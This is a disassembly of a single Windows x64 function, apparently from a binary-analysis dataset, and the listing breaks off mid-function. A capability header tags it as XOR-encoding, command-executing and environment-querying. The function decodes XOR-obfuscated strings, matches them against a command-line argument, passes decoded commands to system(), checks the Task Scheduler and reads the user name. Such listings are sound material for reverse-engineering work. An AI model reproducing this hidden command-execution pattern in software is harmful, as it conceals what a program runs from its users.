Function at 0x1400013b0
Capabilities:
Encode data using xor
Execute command
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x188]
sub rsp, 0x270
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rdi, rdx
cmp ecx, 2
jl 0x140002a2d
mov rax, qword [rdx + 8]
cmp byte [rax], 0x2f
jne 0x140002a2d
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov ecx, 0x348
mov eax, dword [rcx + rbx]
mov esi, 0x1e0
test al, 1
jne 0x140001435
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rsi + rbx + 2], 0x191bd04
mov word [rsi + rbx], 0x9086
lea rcx, [0x140009d80]
call fcn.140007e04
nop
lea rax, [rbx + rsi]
cmp byte [rax + 5], 0
je 0x140001456
xor byte [rax], 0xa9
xor byte [rax + 1], 0xf7
xor byte [rax + 2], 0x61
xor byte [rax + 3], 0xc9
xor byte [rax + 4], 0x91
mov byte [rax + 5], 0
mov rcx, qword [rdi + 8]
sub rax, rcx
nop dword [rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140001474
inc rcx
test edx, edx
jne 0x140001460
test r8d, r8d
jne 0x1400014bc
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ebx, ebx
nop dword [rax + rax]
mov rax, qword [rdi + 0x20]
lea rcx, [0x14000b54c]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
cmp ebx, eax
jge 0x1400016d8
mov rdx, rdi
call fcn.140001070
inc ebx
jmp 0x140001490
mov ecx, 0x254
mov eax, dword [rcx + rbx]
mov esi, 0x4e0
test al, 1
jne 0x1400014f3
or eax, 1
mov dword [rcx + rbx], eax
mov word [rbx + rsi + 5], 0x105
mov dword [rbx + rsi], 0xaba2131a
mov byte [rbx + rsi + 4], 0x48
lea rcx, [0x140009d60]
call fcn.140007e04
nop
lea r9, [rsi + rbx]
xor ebx, ebx
mov r12d, dword [0x14000f018]
movdqa xmm6, xmmword [0x14000b700]
movdqa xmm7, xmmword [0x14000b690]
cmp byte [r9 + 6], bl
je 0x1400015b1
mov r8d, ebx
cmp r12d, 5
jl 0x140001580
mov ecx, ebx
movdqa xmm2, xmmword [0x14000b6d0]
movdqa xmm3, xmmword [0x14000ba40]
nop word [rax + rax]
movq xmm0, rcx
punpcklqdq xmm0, xmm0
paddq xmm0, xmm7
andps xmm0, xmm2
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + rcx]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + rcx], ax
add rcx, 2
cmp rcx, 6
jb 0x140001540
jmp 0x1400015ad
movabs r10, 0x95db052fc5cb6335
nop word [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r9 + r8], dl
inc r8
cmp r8, 6
jb 0x140001590
mov byte [r9 + 6], bl
mov rax, qword [rdi + 8]
sub r9, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x1400015d3
inc rax
test ecx, ecx
jne 0x1400015c0
test edx, edx
je 0x1400016d8
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x544
mov eax, dword [rcx + rsi]
mov r14d, 0x3a0
test al, 1
jne 0x14000161c
or eax, 1
mov dword [rcx + rsi], eax
mov dword [r14 + rsi + 2], 0x1bbffcd
mov word [r14 + rsi], 0xf604
lea rcx, [0x140009d40]
call fcn.140007e04
nop
lea rax, [rsi + r14]
cmp byte [rax + 5], 0
je 0x14000163d
xor byte [rax], 0x2b
xor byte [rax + 1], 0x97
xor byte [rax + 2], 0xbf
xor byte [rax + 3], 0x8f
xor byte [rax + 4], 0xbb
mov byte [rax + 5], 0
mov rcx, qword [rdi + 8]
sub rax, rcx
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140001664
inc rcx
test edx, edx
jne 0x140001650
test r8d, r8d
jne 0x1400016df
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x640
mov eax, dword [rcx + rsi]
mov ebx, 0x648
test al, 1
jne 0x1400016a9
or eax, 1
mov dword [rcx + rsi], eax
mov dword [rsi + rbx + 4], 0x16bb61a
mov dword [rsi + rbx], 0xf53d2714
lea rcx, [0x140009e20]
call fcn.140007e04
nop
lea rcx, [rbx + rsi]
cmp byte [rcx + 7], 0
je 0x1400016d2
xor byte [rcx], 0x75
xor byte [rcx + 1], 0x55
xor byte [rcx + 2], 0x4d
xor byte [rcx + 3], 0xd5
xor byte [rcx + 4], 0x37
xor byte [rcx + 5], 0xd7
xor byte [rcx + 6], 0x6b
mov byte [rcx + 7], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140002a3e
mov ecx, 0x410
mov eax, dword [rcx + rsi]
mov r14d, 0x54c
test al, 1
jne 0x140001714
or eax, 1
mov dword [rcx + rsi], eax
mov dword [r14 + rsi + 2], 0x10b0791
mov word [r14 + rsi], 0xbc74
lea rcx, [0x140009d20]
call fcn.140007e04
nop
lea rcx, [rsi + r14]
cmp byte [rcx + 5], 0
je 0x140001734
xor byte [rcx], 0x5b
xor byte [rcx + 1], 0xd9
not byte [rcx + 2]
xor byte [rcx + 3], 0x71
xor byte [rcx + 4], 0xb
mov byte [rcx + 5], 0
mov rax, qword [rdi + 8]
sub rcx, rax
nop dword [rax + rax]
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x140001754
inc rax
test edx, edx
jne 0x140001740
test r8d, r8d
jne 0x140001772
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140004e90
xor eax, eax
jmp 0x140002a3e
movdqa xmm0, xmmword [0x14000b960]
mov dword [rbp + 0x18], 0x215c2dd3
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x3a8
mov eax, dword [rcx + r14]
mov esi, 0x470
test al, 1
jne 0x1400017ed
or eax, 1
mov dword [rcx + r14], eax
lea rcx, [r14 + rsi]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp + 0x1c]
cmp rcx, rdx
ja 0x1400017d3
lea rdx, [rbp + 8]
cmp rax, rdx
jb 0x1400017d3
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x18]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0xc3
jmp 0x1400017e0
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x18]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0xc3
lea rcx, [0x140009d00]
call fcn.140007e04
nop
add rsi, r14
mov rcx, rsi
call fcn.1400049c0
mov r11, qword [rdi + 8]
sub rsi, r11
nop
movzx ecx, byte [r11]
movzx eax, byte [r11 + rsi]
sub ecx, eax
jne 0x140001814
inc r11
test eax, eax
jne 0x140001800
test ecx, ecx
jne 0x140001831
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140005c70
xor eax, eax
jmp 0x140002a3e
movdqa xmm0, xmmword [0x14000ba90]
mov dword [rbp - 0x78], 0x7140e2f2
mov word [rbp - 0x74], 0x1a01
mov ecx, 0x580
mov eax, dword [rcx + r14]
mov r15d, 0x4e8
test al, 1
jne 0x1400018b8
or eax, 1
mov dword [rcx + r14], eax
lea rcx, [r15 + r14]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp - 0x72]
cmp rcx, rdx
ja 0x140001896
lea rdx, [rsp + 0x78]
cmp rax, rdx
jb 0x140001896
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x78]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x74]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xa5
jmp 0x1400018ab
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x78]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x74]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xa5
lea rcx, [0x140009cd0]
call fcn.140007e04
nop
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
lea r14, [rsi + r15]
mov rcx, r14
call fcn.140004840
mov r11, qword [rdi + 8]
sub r14, r11
nop word [rax + rax]
movzx ecx, byte [r11]
movzx eax, byte [r11 + r14]
sub ecx, eax
jne 0x1400018f4
inc r11
test eax, eax
jne 0x1400018e0
test ecx, ecx
jne 0x140001925
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400058a0
mov r11, rax
mov rcx, rax
call fcn.140005ae0
mov rcx, r11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140002a3e
mov ecx, 0x408
mov eax, dword [rcx + rsi]
mov r14d, 0x1e8
test al, 1
jne 0x140001964
or eax, 1
mov dword [rcx + rsi], eax
mov dword [rsi + r14 + 8], 0x14de8dc
mov dword [rsi + r14], 0xe02cf790
mov dword [rsi + r14 + 4], 0xda1904ac
lea rcx, [0x140009ca0]
call fcn.140007e04
nop
lea rax, [rsi + r14]
cmp byte [rax + 0xb], 0
je 0x14000199d
xor byte [rax], 0xbf
xor byte [rax + 1], 0x83
xor byte [rax + 2], 0x4d
xor byte [rax + 3], 0x93
xor byte [rax + 4], 0xc7
xor byte [rax + 5], 0x67
xor byte [rax + 6], 0x71
xor byte [rax + 7], 0xbf
xor byte [rax + 8], 0xbf
xor byte [rax + 9], 0x83
xor byte [rax + 0xa], 0x4d
mov byte [rax + 0xb], 0
mov rcx, qword [rdi + 8]
sub rax, rcx
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x1400019c4
inc rcx
test edx, edx
jne 0x1400019b0
test r8d, r8d
jne 0x140001ad7
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Checking_Task_Scheduler
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005610
lea rdx, [0x1400057f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x14000b8b0]
mov dword [rsp + 0x30], 0xc506b7f2
mov dword [rsp + 0x34], 0x21546087
mov dword [rsp + 0x38], 0xe51ffefd
mov ecx, 0x7e0
mov eax, dword [rcx + rsi]
mov ebx, 0x7c0
test al, 1
jne 0x140001a8d
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rsi + rbx]
mov byte [rcx + 0x1c], 1
lea rax, [rcx + 0x1b]
lea rdx, [rsp + 0x3b]
cmp rcx, rdx
ja 0x140001a6b
lea rdx, [rsp + 0x20]
cmp rax, rdx
jb 0x140001a6b
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rcx + 0x18], eax
jmp 0x140001a80
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rcx + 0x18], eax
lea rcx, [0x140009f80]
call fcn.140007e04
nop
mov rax, qword gs:[0x58]
mov r11, qword [rax]
add r11, rbx
mov rcx, r11
call fcn.140006ab0
mov rcx, r11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Task_Scheduler_check_complete
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005610
lea rdx, [0x1400057f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x140002a3e
mov ecx, 0x488
mov eax, dword [rcx + rsi]
mov r14d, 0x268
test al, 1
jne 0x140001b23
or eax, 1
mov dword [rcx + rsi], eax
mov word [rsi + r14 + 0xb], 0x1c5
mov dword [rsi + r14], 0xa665ba9c
mov dword [rsi + r14 + 4], 0x3a7e3657
mov word [rsi + r14 + 8], 0xb1dc
mov byte [rsi + r14 + 0xa], WSAStartup
lea rcx, [0x140009c80]
call fcn.140007e04
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, r14
cmp byte [r9 + 0xc], 0
je 0x140001c32
mov r8, rbx
cmp r12d, 5
jl 0x140001c02
movdqa xmm2, xmmword [0x14000b890]
movdqa xmm0, xmm7
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9], ax
movdqa xmm0, xmmword [0x14000b6a0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 2]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 2], ax
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 4]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 4], ax
movdqa xmm0, xmmword [0x14000b6c0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 6]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 6], ax
mov r8d, 8
movabs r10, 0x530d433bc51ddfb3
nop dword [rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
inc r8
cmp r8, 0xc
jb 0x140001c10
mov byte [r9 + 0xc], 0
mov rax, qword [rdi + 8]
sub r9, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140001c53
inc rax
test ecx, ecx
jne 0x140001c40
test edx, edx
jne 0x140001c98
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140006c30
mov r11, rax
mov rcx, rax
call fcn.140006d70
mov rcx, r11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x1400016d8
lea rdx, str.Failed_to_execute_command
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140001abb
movdqa xmm0, xmmword [0x14000b950]
mov dword [rbp + 0x30], 0x6d0bac5d
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x290
mov eax, dword [rcx + r14]
mov esi, 0x278
test al, 1
jne 0x140001d13
or eax, 1
mov dword [rcx + r14], eax
lea rcx, [rsi + r14]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp + 0x34]
cmp rcx, rdx
ja 0x140001cf9
lea rdx, [rbp + 0x20]
cmp rax, rdx
jb 0x140001cf9
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x30]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0x27
jmp 0x140001d06
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x30]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0x27
lea rcx, [0x140009c60]
call fcn.140007e04
nop
add rsi, r14
mov rcx, rsi
call fcn.1400046c0
mov r11, qword [rdi + 8]
sub rsi, r11
nop word [rax + rax]
movzx ecx, byte [r11]
movzx eax, byte [r11 + rsi]
sub ecx, eax
jne 0x140001d44
inc r11
test eax, eax
jne 0x140001d30
test ecx, ecx
jne 0x140001d64
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, rdi
call fcn.140006ef0
xor eax, eax
jmp 0x140002a3e
movdqa xmm0, xmmword [0x14000bb80]
mov dword [rsp + 0x50], 0x762fe7f6
mov dword [rsp + 0x54], 0xb6cc46f9
mov word [rsp + 0x58], 0x9fdd
mov ecx, 0x41c
mov eax, dword [rcx + r14]
mov esi, 0x320
test al, 1
jne 0x140001df9
or eax, 1
mov dword [rcx + r14], eax
lea rcx, [rsi + r14]
mov byte [rcx + 0x1a], 1
lea rax, [rcx + 0x19]
lea rdx, [rsp + 0x59]
cmp rcx, rdx
ja 0x140001dd5
lea rdx, [rsp + 0x40]
cmp rax, rdx
jb 0x140001dd5
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rsp + 0x58]
mov word [rcx + 0x18], ax
jmp 0x140001dec
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rsp + 0x58]
mov word [rcx + 0x18], ax
lea rcx, [0x140009c30]
call fcn.140007e04
nop
mov rax, qword gs:[0x58]
mov r14, qword [rax]
add rsi, r14
mov rcx, rsi
call fcn.140004540
mov r11, qword [rdi + 8]
sub rsi, r11
nop word [rax + rax]
movzx ecx, byte [r11]
movzx eax, byte [r11 + rsi]
sub ecx, eax
jne 0x140001e34
inc r11
test eax, eax
jne 0x140001e20
test ecx, ecx
jne 0x140001e54
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, rdi
call fcn.140007220
xor eax, eax
jmp 0x140002a3e
mov ecx, 0x4a8
mov eax, dword [rcx + r14]
mov esi, 0x570
test al, 1
jne 0x140001e82
or eax, 1
mov dword [rcx + r14], eax
mov dword [r14 + rsi], 0x16d5ce2
lea rcx, [0x140009c10]
call fcn.140007e04
nop
lea rdx, [rsi + r14]
cmp byte [rdx + 3], 0
je 0x140001e9b
xor byte [rdx], 0xcd
xor byte [rdx + 1], 0x63
xor byte [rdx + 2], 0x6d
mov byte [rdx + 3], 0
mov rax, qword [rdi + 8]
sub rdx, rax
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140001eb6
inc rax
test ecx, ecx
jne 0x140001ea2
test r8d, r8d
je 0x140002013
mov ecx, 0x25c
mov eax, dword [rcx + r14]
mov esi, 0x260
test al, 1
jne 0x140001eed
or eax, 1
mov dword [rcx + r14], eax
mov dword [r14 + rsi], 0x16d0be2
lea rcx, [0x140009bf0]
call fcn.140007e04
nop
mov rax, qword gs:[0x58]
mov r14, qword [rax]
lea rdx, [r14 + rsi]
cmp byte [rdx + 3], 0
je 0x140001f12
xor byte [rdx], 0xcd
xor byte [rdx + 1], 0x63
xor byte [rdx + 2], 0x6d
mov byte [rdx + 3], 0
mov rax, qword [rdi + 8]
sub rdx, rax
nop dword [rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140001f34
inc rax
test ecx, ecx
jne 0x140001f20
test r8d, r8d
je 0x140002013
mov ecx, 0x16c
mov eax, dword [rcx + r14]
mov esi, 0x500
test al, 1
jne 0x140001f70
or eax, 1
mov dword [rcx + r14], eax
mov word [r14 + rsi + 1], 0x163
mov byte [r14 + rsi], 0xf2
lea rcx, [0x140009bd0]
call fcn.140007e04
nop
lea r9, [r14 + rsi]
cmp byte [r9 + 2], 0
je 0x140001fe2
mov r8, rbx
cmp r12d, 5
jl 0x140001fb4
movdqa xmm1, xmm7
psllq xmm1, 3
movdqa xmm0, xmmword [0x14000b880]
vpsrlvq xmm2, xmm0, xmm1
pshufb xmm2, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm2, xmm0
movd eax, xmm2
mov word [r9], ax
jmp 0x140001fdd
movabs r10, 0x497df58f9d6d63cd
nop
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r9 + r8], dl
inc r8
cmp r8, 2
jb 0x140001fc0
mov byte [r9 + 2], 0
mov rax, qword [rdi + 8]
sub r9, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140002003
inc rax
test ecx, ecx
jne 0x140001ff0
test edx, edx
je 0x140002013
lea rcx, str.Invalid_command_n
jmp 0x140002a34
lea rcx, [0x14000b548]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x140002044
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
jmp 0x14000204b
lea rdx, str.User
mov r8d, 0x64
lea rcx, [rbp + 0xe0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rax, [rbp + 0xe0]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140002070
inc rcx
call fcn.140007d54
mov r15, rax
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0xe0]
mov r8, r15
sub r8, rax
nop dword [rax + rax]
movzx ecx, byte [rdx]
mov byte [rdx + r8], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400020a0
movdqa xmm0, xmmword [0x14000b7a0]
mov dword [rbp - 0x60], 0x6afac70d
mov word [rbp - 0x5c], 0xf18
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x3e8
mov eax, dword [rcx + rsi]
mov r14d, 0x490
test al, 1
jne 0x14000213f
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rsi + r14]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp - 0x5a]
cmp rcx, rdx
ja 0x14000211d
lea rdx, [rbp - 0x70]
cmp rax, rdx
jb 0x14000211d
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x60]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x5c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xfd
jmp 0x140002132
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x60]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x5c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xfd
lea rcx, [0x140009ba0]
call fcn.140007e04
nop
lea r11, [rsi + r14]
mov rcx, r11
call fcn.1400043c0
mov rdx, r15
mov rcx, r11
call fcn.140001010
mov r14, qword [rdi]
movdqa xmm0, xmmword [0x14000b7b0]
movdqa xmm1, xmmword [0x14000b8a0]
mov dword [rbp - 8], 0x4f89fc2f
mov dword [rbp - 4], 0x555d6e49
mov dword [rbp], 0x9e5f95a
mov ecx, 0x34c
mov eax, dword [rcx + rsi]
mov edi, 0x138
test al, 1
jne 0x1400021f8
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rsi + rdi]
mov byte [rcx + 0x2d], 1
lea rax, [rcx + 0x2c]
lea rdx, [rbp + 4]
cmp rcx, rdx
ja 0x1400021d0
lea rdx, [rbp - 0x28]
cmp rax, rdx
jb 0x1400021d0
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp - 8]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0x69
jmp 0x1400021eb
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp - 8]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0x69
lea rcx, [0x140009b70]
call fcn.140007e04
nop
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.140004240
mov rdx, r14
mov rcx, r11
call fcn.140001010
mov ecx, 0x168
mov eax, dword [rcx + rsi]
mov edi, 0x298
test al, 1
jne 0x14000225d
or eax, 1
mov dword [rcx + rsi], eax
mov dword [rdi + rsi + 0xa], 0x11f0be7
mov dword [rdi + rsi], 0x4fd7eb73
mov dword [rdi + rsi + 4], 0x743ca77a
mov word [rdi + rsi + 8], 0xa021
lea rcx, [0x140009b50]
call fcn.140007e04
nop
lea r9, [rsi + rdi]
cmp byte [r9 + 0xd], 0
je 0x140002362
mov r8, rbx
cmp r12d, 5
jl 0x140002331
movdqa xmm2, xmmword [0x14000b7e0]
movdqa xmm0, xmm7
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9], ax
movdqa xmm0, xmmword [0x14000b6a0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 2]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 2], ax
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 4]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 4], ax
movdqa xmm0, xmmword [0x14000b6c0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 6]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 6], ax
mov r8d, 8
movabs r10, 0x1b4bd31f01ddcb53
nop dword [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r9 + r8], dl
inc r8
cmp r8, 0xd
jb 0x140002340
mov byte [r9 + 0xd], 0
mov rcx, r9
call fcn.140001010
call fcn.140002a70
mov r11, rax
mov rcx, rax
call fcn.1400040c0
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000b8c0]
movdqa xmm1, xmmword [0x14000b8f0]
mov dword [rbp + 0x58], 0xa51a1379
mov dword [rbp + 0x5c], 0x356bd8ab
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x5a8
mov eax, dword [rcx + rdi]
mov esi, 0x4b0
test al, 1
jne 0x140002412
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rdi + rsi]
mov byte [rax + 0x28], 1
lea rcx, [rax + 0x27]
lea rdx, [rbp + 0x5f]
cmp rax, rdx
ja 0x1400023f4
lea rdx, [rbp + 0x38]
cmp rcx, rdx
jb 0x1400023f4
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x58]
movsd qword [rax + 0x20], xmm0
jmp 0x140002405
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x58]
movsd qword [rax + 0x20], xmm0
lea rcx, [0x140009af0]
call fcn.140007e04
nop
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.140003f30
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000b820]
movdqa xmm1, xmmword [0x14000b850]
mov dword [rbp + 0x80], 0x2db755d0
mov dword [rbp + 0x84], 0x1166909a
mov ecx, 0x344
mov eax, dword [rcx + rdi]
mov esi, 0x2a8
test al, 1
jne 0x1400024c1
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rsi + rdi]
mov byte [rax + 0x29], 1
lea rcx, [rax + 0x28]
lea rdx, [rbp + 0x88]
cmp rax, rdx
ja 0x14000249c
lea rdx, [rbp + 0x60]
cmp rcx, rdx
jb 0x14000249c
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x80]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0xb1
jmp 0x1400024b4
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x80]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0xb1
lea rcx, [0x140009ac0]
call fcn.140007e04
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.140003db0
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000b8d0]
mov dword [rsp + 0x70], 0x6de9f043
mov word [rsp + 0x74], 0x79cd
mov ecx, 0x340
mov eax, dword [rcx + rdi]
mov esi, 0x558
test al, 1
jne 0x140002564
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rsi + rdi]
mov byte [rcx + 0x16], 1
lea rax, [rcx + 0x15]
lea rdx, [rsp + 0x75]
cmp rcx, rdx
ja 0x140002544
